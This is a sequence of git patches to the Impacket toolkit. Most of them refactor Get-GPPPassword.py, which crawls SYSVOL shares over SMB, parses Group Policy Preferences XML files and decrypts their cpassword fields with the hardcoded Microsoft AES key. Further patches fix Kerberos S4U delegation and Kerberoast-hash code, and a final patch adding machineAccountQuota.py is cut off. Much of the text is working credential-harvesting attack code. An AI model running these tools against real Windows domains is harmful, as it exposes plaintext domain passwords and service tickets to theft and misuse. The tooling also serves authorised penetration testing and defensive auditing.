1d4c648192011c320e038c6616665005b70224c1 Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Wed, 23 Feb 2022 16:59:53 +0100 Subject: [PATCH 082/163] [Get-GPPPassword.py] Better handling of various XML files in Group Policy Preferences. --- examples/Get-GPPPassword.py | 95 +++++++++++++++++++++++++++---------- 1 file changed, 70 insertions(+), 25 deletions(-) diff --git a/examples/Get-GPPPassword.py b/examples/Get-GPPPassword.py index fcdcf8dbe..63456e7b6 100755 --- a/examples/Get-GPPPassword.py +++ b/examples/Get-GPPPassword.py @@ -10,6 +10,7 @@ # Description: # Python script for extracting and decrypting Group Policy Preferences passwords, # using Impacket's lib, and using streams for carving files instead of mounting shares +# https://podalirius.net/en/articles/exploiting-windows-group-policy-preferences/ # # Authors: # Remi Gascou (@podalirius_) @@ -18,6 +19,8 @@ import argparse import base64 +import xml + import chardet import logging import os @@ -87,19 +90,60 @@ def parse_xmlfile_content(self, filename, filecontent): results = [] try: root = minidom.parseString(filecontent) - properties_list = root.getElementsByTagName("Properties") + xmltype = root.childNodes[0].tagName # function to get attribute if it exists, returns "" if empty - read_or_empty = lambda element, attribute: ( - element.getAttribute(attribute) if element.getAttribute(attribute) != None else "") - for properties in properties_list: - results.append({ - 'newname': read_or_empty(properties, 'newName'), - 'changed': read_or_empty(properties.parentNode, 'changed'), - 'cpassword': read_or_empty(properties, 'cpassword'), - 'password': self.decrypt_password(read_or_empty(properties, 'cpassword')), - 'username': read_or_empty(properties, 'userName'), - 'file': filename - }) + read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "") + + # ScheduledTasks + if xmltype == "ScheduledTasks": + for topnode in root.childNodes: + task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] + for task in task_nodes: + for property in task.getElementsByTagName("Properties"): + results.append({ + 'tagName': xmltype, + 'attributes': [ + ('runAs', read_or_empty(property, 'runAs')), + ('name', read_or_empty(task, 'name')), + ('changed', read_or_empty(property.parentNode, 'changed')), + ('cpassword', read_or_empty(property, 'cpassword')), + ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), + ], + 'file': filename + }) + elif xmltype == "Groups": + for topnode in root.childNodes: + task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] + for task in task_nodes: + for property in task.getElementsByTagName("Properties"): + results.append({ + 'tagName': xmltype, + 'attributes': [ + ('newName', read_or_empty(property, 'newName')), + ('userName', read_or_empty(property, 'userName')), + ('cpassword', read_or_empty(property, 'cpassword')), + ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), + ('changed', read_or_empty(property.parentNode, 'changed')), + ], + 'file': filename + }) + else: + for topnode in root.childNodes: + task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)] + for task in task_nodes: + for property in task.getElementsByTagName("Properties"): + results.append({ + 'tagName': xmltype, + 'attributes': [ + ('newName', read_or_empty(property, 'newName')), + ('userName', read_or_empty(property, 'userName')), + ('cpassword', read_or_empty(property, 'cpassword')), + ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), + ('changed', read_or_empty(property.parentNode, 'changed')), + ], + 'file': filename + }) + except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() @@ -121,7 +165,7 @@ def parse(self, filename): raise output = fh.getvalue() encoding = chardet.detect(output)["encoding"] - if encoding != None: + if encoding is not None: filecontent = output.decode(encoding).rstrip() if 'cpassword' in filecontent: logging.debug(filecontent) @@ -136,10 +180,10 @@ def parse(self, filename): def decrypt_password(self, pw_enc_b64): if len(pw_enc_b64) != 0: - # thank you MS for publishing the key :) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be) - key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20' \ - b'\x9b\x09\xa4\x33\xb6\x6c\x1b' - # thank you MS for using a fixed IV :) + # Thank you Microsoft for publishing the key :) + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be + key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b' + # Thank you Microsoft for using a fixed IV :) iv = b'\x00' * 16 pad = len(pw_enc_b64) % 4 if pad == 1: @@ -156,11 +200,12 @@ def decrypt_password(self, pw_enc_b64): def show(self, results): for result in results: - logging.info("NewName\t: %s" % result['newname']) - logging.info("Changed\t: %s" % result['changed']) - logging.info("Username\t: %s" % result['username']) - logging.info("Password\t: %s" % result['password']) - logging.info("File\t: %s \n" % result['file']) + logging.info("Found a %s XML file:" % result['tagName']) + logging.info(" %-10s: %s" % ("file", result['file'])) + for attr, value in result['attributes']: + if attr != "cpassword": + logging.info(" %-10s: %s" % (attr, value)) + print() def parse_args(): @@ -266,13 +311,13 @@ def main(): print(version.BANNER) args = parse_args() init_logger(args) - if args.target.upper() == "LOCAL" : + if args.target.upper() == "LOCAL": if args.xmlfile is not None: # Only given decrypt XML file if os.path.exists(args.xmlfile): g = GetGPPasswords(None, None) logging.debug("Opening %s XML file for reading ..." % args.xmlfile) - f = open(args.xmlfile,'r') + f = open(args.xmlfile, 'r') rawdata = ''.join(f.readlines()) f.close() results = g.parse_xmlfile_content(args.xmlfile, rawdata) @@ -282,7 +327,7 @@ def main(): else: domain, username, password, address, lmhash, nthash = parse_target(args) try: - smbClient= init_smb_session(args, domain, username, password, address, lmhash, nthash) + smbClient = init_smb_session(args, domain, username, password, address, lmhash, nthash) g = GetGPPasswords(smbClient, args.share) g.list_shares() g.find_cpasswords(args.base_dir) From c69fcada93f19ea720d161b781386429ddaeba4e Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Wed, 23 Feb 2022 17:06:26 +0100 Subject: [PATCH 083/163] Better order of attributes for pretty print --- examples/Get-GPPPassword.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/Get-GPPPassword.py b/examples/Get-GPPPassword.py index 63456e7b6..96c586510 100755 --- a/examples/Get-GPPPassword.py +++ b/examples/Get-GPPPassword.py @@ -103,11 +103,11 @@ def parse_xmlfile_content(self, filename, filecontent): results.append({ 'tagName': xmltype, 'attributes': [ - ('runAs', read_or_empty(property, 'runAs')), ('name', read_or_empty(task, 'name')), - ('changed', read_or_empty(property.parentNode, 'changed')), + ('runAs', read_or_empty(property, 'runAs')), ('cpassword', read_or_empty(property, 'cpassword')), ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), + ('changed', read_or_empty(property.parentNode, 'changed')), ], 'file': filename }) From 58174208f946c338df1a823a364a066351355366 Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Fri, 25 Feb 2022 13:52:27 +0100 Subject: [PATCH 084/163] A bit of code refactoring --- examples/Get-GPPPassword.py | 162 ++++++++++++++++-------------------- 1 file changed, 71 insertions(+), 91 deletions(-) diff --git a/examples/Get-GPPPassword.py b/examples/Get-GPPPassword.py index 96c586510..c97bf424e 100755 --- a/examples/Get-GPPPassword.py +++ b/examples/Get-GPPPassword.py @@ -20,20 +20,16 @@ import argparse import base64 import xml - import chardet import logging import os import re import sys import traceback - from xml.dom import minidom -from io import BytesIO - +import io from Cryptodome.Cipher import AES from Cryptodome.Util.Padding import unpad - from impacket import version from impacket.examples import logger, utils from impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError @@ -52,38 +48,38 @@ def list_shares(self): resp = self.smb.listShares() shares = [] for k in range(len(resp)): - shares.append(resp[k]['shi1_netname'][:-1]) - print(' - %s' % resp[k]['shi1_netname'][:-1]) + shares.append(resp[k]["shi1_netname"][:-1]) + print(" - %s" % resp[k]["shi1_netname"][:-1]) print() - def find_cpasswords(self, base_dir, extension='xml'): + def find_cpasswords(self, base_dir, extension="xml"): logging.info("Searching *.%s files..." % extension) # Breadth-first search algorithm to recursively find .extension files files = [] - searchdirs = [base_dir + '/'] + searchdirs = [base_dir + "/"] while len(searchdirs) != 0: next_dirs = [] for sdir in searchdirs: - logging.debug('Searching in %s ' % sdir) + logging.debug("Searching in %s " % sdir) try: - for sharedfile in self.smb.listPath(self.share, sdir + '*', password=None): - if sharedfile.get_longname() not in ['.', '..']: + for sharedfile in self.smb.listPath(self.share, sdir + "*", password=None): + if sharedfile.get_longname() not in [".", ".."]: if sharedfile.is_directory(): - logging.debug('Found directory %s/' % sharedfile.get_longname()) - next_dirs.append(sdir + sharedfile.get_longname() + '/') + logging.debug("Found directory %s/" % sharedfile.get_longname()) + next_dirs.append(sdir + sharedfile.get_longname() + "/") else: - if sharedfile.get_longname().endswith('.' + extension): - logging.debug('Found matching file %s' % (sdir + sharedfile.get_longname())) + if sharedfile.get_longname().endswith("." + extension): + logging.debug("Found matching file %s" % (sdir + sharedfile.get_longname())) results = self.parse(sdir + sharedfile.get_longname()) if len(results) != 0: self.show(results) files.append({"filename": sdir + sharedfile.get_longname(), "results": results}) else: - logging.debug('Found file %s' % sharedfile.get_longname()) + logging.debug("Found file %s" % sharedfile.get_longname()) except SessionError as e: logging.debug(e) searchdirs = next_dirs - logging.debug('Next iteration with %d folders.' % len(next_dirs)) + logging.debug("Next iteration with %d folders." % len(next_dirs)) return files def parse_xmlfile_content(self, filename, filecontent): @@ -101,15 +97,15 @@ def parse_xmlfile_content(self, filename, filecontent): for task in task_nodes: for property in task.getElementsByTagName("Properties"): results.append({ - 'tagName': xmltype, - 'attributes': [ - ('name', read_or_empty(task, 'name')), - ('runAs', read_or_empty(property, 'runAs')), - ('cpassword', read_or_empty(property, 'cpassword')), - ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), - ('changed', read_or_empty(property.parentNode, 'changed')), + "tagName": xmltype, + "attributes": [ + ("name", read_or_empty(task, "name")), + ("runAs", read_or_empty(property, "runAs")), + ("cpassword", read_or_empty(property, "cpassword")), + ("password", self.decrypt_password(read_or_empty(property, "cpassword"))), + ("changed", read_or_empty(property.parentNode, "changed")), ], - 'file': filename + "file": filename }) elif xmltype == "Groups": for topnode in root.childNodes: @@ -117,15 +113,15 @@ def parse_xmlfile_content(self, filename, filecontent): for task in task_nodes: for property in task.getElementsByTagName("Properties"): results.append({ - 'tagName': xmltype, - 'attributes': [ - ('newName', read_or_empty(property, 'newName')), - ('userName', read_or_empty(property, 'userName')), - ('cpassword', read_or_empty(property, 'cpassword')), - ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), - ('changed', read_or_empty(property.parentNode, 'changed')), + "tagName": xmltype, + "attributes": [ + ("newName", read_or_empty(property, "newName")), + ("userName", read_or_empty(property, "userName")), + ("cpassword", read_or_empty(property, "cpassword")), + ("password", self.decrypt_password(read_or_empty(property, "cpassword"))), + ("changed", read_or_empty(property.parentNode, "changed")), ], - 'file': filename + "file": filename }) else: for topnode in root.childNodes: @@ -133,15 +129,15 @@ def parse_xmlfile_content(self, filename, filecontent): for task in task_nodes: for property in task.getElementsByTagName("Properties"): results.append({ - 'tagName': xmltype, - 'attributes': [ - ('newName', read_or_empty(property, 'newName')), - ('userName', read_or_empty(property, 'userName')), - ('cpassword', read_or_empty(property, 'cpassword')), - ('password', self.decrypt_password(read_or_empty(property, 'cpassword'))), - ('changed', read_or_empty(property.parentNode, 'changed')), + "tagName": xmltype, + "attributes": [ + ("newName", read_or_empty(property, "newName")), + ("userName", read_or_empty(property, "userName")), + ("cpassword", read_or_empty(property, "cpassword")), + ("password", self.decrypt_password(read_or_empty(property, "cpassword"))), + ("changed", read_or_empty(property.parentNode, "changed")), ], - 'file': filename + "file": filename }) except Exception as e: @@ -152,8 +148,8 @@ def parse_xmlfile_content(self, filename, filecontent): def parse(self, filename): results = [] - filename = filename.replace('/', '\\') - fh = BytesIO() + filename = filename.replace("/", "\\") + fh = io.BytesIO() try: # opening the files in streams instead of mounting shares allows for running the script from # unprivileged containers @@ -167,7 +163,7 @@ def parse(self, filename): encoding = chardet.detect(output)["encoding"] if encoding is not None: filecontent = output.decode(encoding).rstrip() - if 'cpassword' in filecontent: + if "cpassword" in filecontent: logging.debug(filecontent) results = self.parse_xmlfile_content(filename, filecontent) fh.close() @@ -182,20 +178,20 @@ def decrypt_password(self, pw_enc_b64): if len(pw_enc_b64) != 0: # Thank you Microsoft for publishing the key :) # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be - key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b' + key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" # Thank you Microsoft for using a fixed IV :) - iv = b'\x00' * 16 + iv = b"\x00" * 16 pad = len(pw_enc_b64) % 4 if pad == 1: pw_enc_b64 = pw_enc_b64[:-1] elif pad == 2 or pad == 3: - pw_enc_b64 += '=' * (4 - pad) + pw_enc_b64 += "=" * (4 - pad) pw_enc = base64.b64decode(pw_enc_b64) ctx = AES.new(key, AES.MODE_CBC, iv) pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size) - return pw_dec.decode('utf-16-le') + return pw_dec.decode("utf-16-le") else: - logging.debug("cpassword is empty, cannot decrypt anything") + logging.debug("cpassword is empty, cannot decrypt anything.") return "" def show(self, results): @@ -209,37 +205,26 @@ def show(self, results): def parse_args(): - parser = argparse.ArgumentParser(add_help=True, - description='Group Policy Preferences passwords finder and decryptor') - parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' - ' (if you want to parse local files)') + parser = argparse.ArgumentParser(add_help=True, description="Group Policy Preferences passwords finder and decryptor.") + parser.add_argument("target", action="store", help="[[domain/]username[:password]@] or LOCAL (if you want to parse local files)") parser.add_argument("-xmlfile", type=str, required=False, default=None, help="Group Policy Preferences XML files to parse") parser.add_argument("-share", type=str, required=False, default="SYSVOL", help="SMB Share") parser.add_argument("-base-dir", type=str, required=False, default="/", help="Directory to search in (Default: /)") - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument("-ts", action="store_true", help="Adds timestamp to every logging output") + parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", - help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials ' - 'cannot be found, it will use the ones specified in the command ' - 'line') - group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - - group = parser.add_argument_group('connection') - - group.add_argument('-dc-ip', action='store', metavar="ip address", - help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' - 'the target parameter') - group.add_argument('-target-ip', action='store', metavar="ip address", - help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' - 'This is useful when target is the NetBIOS name and you cannot resolve it') - group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", - help='Destination port to connect to SMB Server') + group.add_argument("-hashes", action="store", metavar="LMHASH:NTHASH", help="NTLM hashes, format is LMHASH:NTHASH") + group.add_argument("-no-pass", action="store_true", help="Don't ask for password (useful for -k)") + group.add_argument("-k", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line") + group.add_argument("-aesKey", action="store", metavar="hex key", help="AES key to use for Kerberos Authentication (128 or 256 bits)") + + group = parser.add_argument_group("connection") + + group.add_argument("-dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") + group.add_argument("-target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it") + group.add_argument("-port", choices=["139", "445"], nargs="?", default="445", metavar="destination port", help="Destination port to connect to SMB Server") + if len(sys.argv) == 1: parser.print_help() sys.exit(1) @@ -254,21 +239,19 @@ def parse_target(args): args.target_ip = address if domain is None: - domain = '' + domain = "" - if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + if len(password) == 0 and len(username) != 0 and args.hashes is None and args.no_pass is False and args.aesKey is None: from getpass import getpass - password = getpass("Password:") if args.aesKey is not None: args.k = True if args.hashes is not None: - lmhash, nthash = args.hashes.split(':') + lmhash, nthash = args.hashes.split(":") else: - lmhash = '' - nthash = '' + lmhash, nthash = "", "" return domain, username, password, address, lmhash, nthash @@ -282,7 +265,7 @@ def init_logger(args): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + logging.getLogger("impacket.smbserver").setLevel(logging.ERROR) def init_smb_session(args, domain, username, password, address, lmhash, nthash): @@ -307,23 +290,24 @@ def init_smb_session(args, domain, username, password, address, lmhash, nthash): return smbClient -def main(): +if __name__ == '__main__': print(version.BANNER) args = parse_args() init_logger(args) + if args.target.upper() == "LOCAL": if args.xmlfile is not None: # Only given decrypt XML file if os.path.exists(args.xmlfile): g = GetGPPasswords(None, None) logging.debug("Opening %s XML file for reading ..." % args.xmlfile) - f = open(args.xmlfile, 'r') - rawdata = ''.join(f.readlines()) + f = open(args.xmlfile, "r") + rawdata = "".join(f.readlines()) f.close() results = g.parse_xmlfile_content(args.xmlfile, rawdata) g.show(results) else: - print('[!] File does not exists or is not readable.') + print("[!] File does not exists or is not readable.") else: domain, username, password, address, lmhash, nthash = parse_target(args) try: @@ -335,7 +319,3 @@ def main(): if logging.getLogger().level == logging.DEBUG: traceback.print_exc() logging.error(str(e)) - - -if __name__ == '__main__': - main() From fd76535f59b6141c4d2b906e6d909df246649233 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 25 Feb 2022 17:04:55 +0100 Subject: [PATCH 085/163] Reverting change to pac.py that was failing ticketer.py --- impacket/krb5/pac.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index 5e9a42cc3..cc778e9c0 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -173,9 +173,9 @@ class NTLM_SUPPLEMENTAL_CREDENTIAL(NDRSTRUCT): ) # 2.7 PAC_CLIENT_INFO -class PAC_CLIENT_INFO(NDRSTRUCT): +class PAC_CLIENT_INFO(Structure): structure = ( - ('ClientId', FILETIME), + ('ClientId', ' Date: Fri, 25 Feb 2022 17:06:04 +0100 Subject: [PATCH 086/163] Reverting change to pac.py (forgot smth) --- impacket/krb5/pac.py | 1 + 1 file changed, 1 insertion(+) diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index cc778e9c0..f01bc47f8 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -177,6 +177,7 @@ class PAC_CLIENT_INFO(Structure): structure = ( ('ClientId', ' Date: Sat, 26 Feb 2022 14:59:07 +0800 Subject: [PATCH 087/163] fixed -self and -spn check --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index a97e5429a..b5dda61dd 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__options.spn is not None: + if self.__options.no_s4u2proxy is not None and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From 1c66bc3d8d2c62d60ea7d93cc82568f8bd12036c Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 26 Feb 2022 15:00:48 +0800 Subject: [PATCH 088/163] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index b5dda61dd..af6e1c84b 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__options.no_s4u2proxy is not None and self.__options.spn is not None: + if options.no_s4u2proxy is not None and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From be585214c4e0e96a9018a394f66a8cefa0edb889 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 26 Feb 2022 15:01:50 +0800 Subject: [PATCH 089/163] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index af6e1c84b..2d31b0bfe 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if options.no_s4u2proxy is not None and self.__options.spn is not None: + if self.__options.self is not None and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From a92f29604a8586d5722eac45511cb2a1d912cc21 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 26 Feb 2022 15:05:13 +0800 Subject: [PATCH 090/163] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 2d31b0bfe..00dfddb43 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__options.self is not None and self.__options.spn is not None: + if self.__no_s4u2proxy is not None and self.__options.spn is not None and self.: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From b2e2237a5478939229230fa6f95c44383ea4521f Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 26 Feb 2022 15:05:50 +0800 Subject: [PATCH 091/163] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 00dfddb43..13d7cae45 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__no_s4u2proxy is not None and self.__options.spn is not None and self.: + if self.__no_s4u2proxy is not None and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From 8759e6c06596c0772965007ab3650b1da91649f3 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 26 Feb 2022 16:04:29 +0800 Subject: [PATCH 092/163] fixed -spn and -self check --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 13d7cae45..e53f640d4 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,7 +452,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__no_s4u2proxy is not None and self.__options.spn is not None: + if self.__no_s4u2proxy and self.__options.spn is not None: logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) From 5ea85079ea4958075965cb351aa8f9f344589ae8 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 7 Mar 2022 15:51:04 +0800 Subject: [PATCH 093/163] fixed error fixed error: local variable 'kerberoast_hash' referenced before assignment --- examples/describeTicket.py | 1 + 1 file changed, 1 insertion(+) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 3b639a8cd..43a35df09 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -107,6 +107,7 @@ def parse_ccache(args): if spn.split('/')[0] != 'krbtgt': logging.debug("Attempting to create Kerberoast hash") + kerberoast_hash = None # code adapted from Rubeus's DisplayTicket() (https://github.com/GhostPack/Rubeus/blob/3620814cd2c5f05e87cddd50211197bd932fec51/Rubeus/lib/LSA.cs) # if this isn't a TGT, try to display a Kerberoastable hash if keyType != "rc4_hmac" and keyType != "aes256_cts_hmac_sha1_96": From 120a52018770730dc4733f18617821cff98a7371 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Tue, 8 Mar 2022 09:55:34 +0100 Subject: [PATCH 094/163] Handling missing kvno --- examples/describeTicket.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 43a35df09..b4750f624 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -133,7 +133,9 @@ def parse_ccache(args): logging.info(" %-28s: %s" % ("Service Name", spn)) logging.info(" %-28s: %s" % ("Service Realm", decodedTicket['ticket']['realm'])) logging.info(" %-28s: %s (etype %d)" % ("Encryption type", constants.EncryptionTypes(etype).name, etype)) - logging.info(" %-28s: %d" % ("Key version number (kvno)", decodedTicket['ticket']['enc-part']['kvno'])) + if not decodedTicket['ticket']['enc-part']['kvno'].isNoValue(): + logging.debug("No kvno in ticket, skipping") + logging.info(" %-28s: %d" % ("Key version number (kvno)", decodedTicket['ticket']['enc-part']['kvno'])) logging.debug("Handling Kerberos keys") ekeys = generate_kerberos_keys(args) From 6743ee837c231b50b33a06426be2a844aa33d98f Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 9 Mar 2022 17:10:52 +0100 Subject: [PATCH 095/163] Fixing debug message --- examples/describeTicket.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index b4750f624..5e062a1b5 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -393,7 +393,7 @@ def PACparseExtraSids(sid_and_attributes_array): parsed_tuPAC.append({"DelegationInfo": parsed_data}) else: - logger.debug("Unsupported PAC structure: %s. Please raise an issue or PR" % infoBuffer['ulType']) + logging.debug("Unsupported PAC structure: %s. Please raise an issue or PR" % infoBuffer['ulType']) buff = buff[len(infoBuffer):] return parsed_tuPAC From 094fb516cc8fa46ce678fbee57ad7e1a103d661f Mon Sep 17 00:00:00 2001 From: TahiTi Date: Wed, 16 Mar 2022 17:26:42 +0100 Subject: [PATCH 096/163] added machineAccountQuota.py --- examples/machineAccountQuota.py | 173 ++++++++++++++++++++++++++++++++ 1 file changed, 173 insertions(+) create mode 100644 examples/machineAccountQuota.py diff --git a/examples/machineAccountQuota.py b/examples/machineAccountQuota.py new file mode 100644 index 000000000..75a4065d7 --- /dev/null +++ b/examples/machineAccountQuota.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +#Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. + +# Description: +# This module will try to get the Machine Account Quota from the domain attribute ms-DS-MachineAccountQuota. +# If the value is superior to 0, it opens new paths to enumerate further the target domain. +# +# Author: +# TahiTi +# + +import argparse +import logging +import sys + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.ldap import ldap, ldapasn1 +from impacket.smbconnection import SMBConnection + +class GetMachineAccountQuota: + def __init__(self, username, password, domain, cmdLineOptions): + self.options = cmdLineOptions + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + self.__target = None + self.__kdcHost = cmdLineOptions.dc_ip + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__domain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + def getMachineName(self): + if self.__kdcHost is not None: + s = SMBConnection(self.__kdcHost, self.__kdcHost) + else: + s = SMBConnection(self.__domain, self.__domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s') + else: + s.logoff() + return s.getServerName() + + def run(self): + if self.__doKerberos: + self.__target = self.getMachineName() + else: + if self.__kdcHost is not None: + self.__target = self.__kdcHost + else: + self.__target = self.__domain + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, 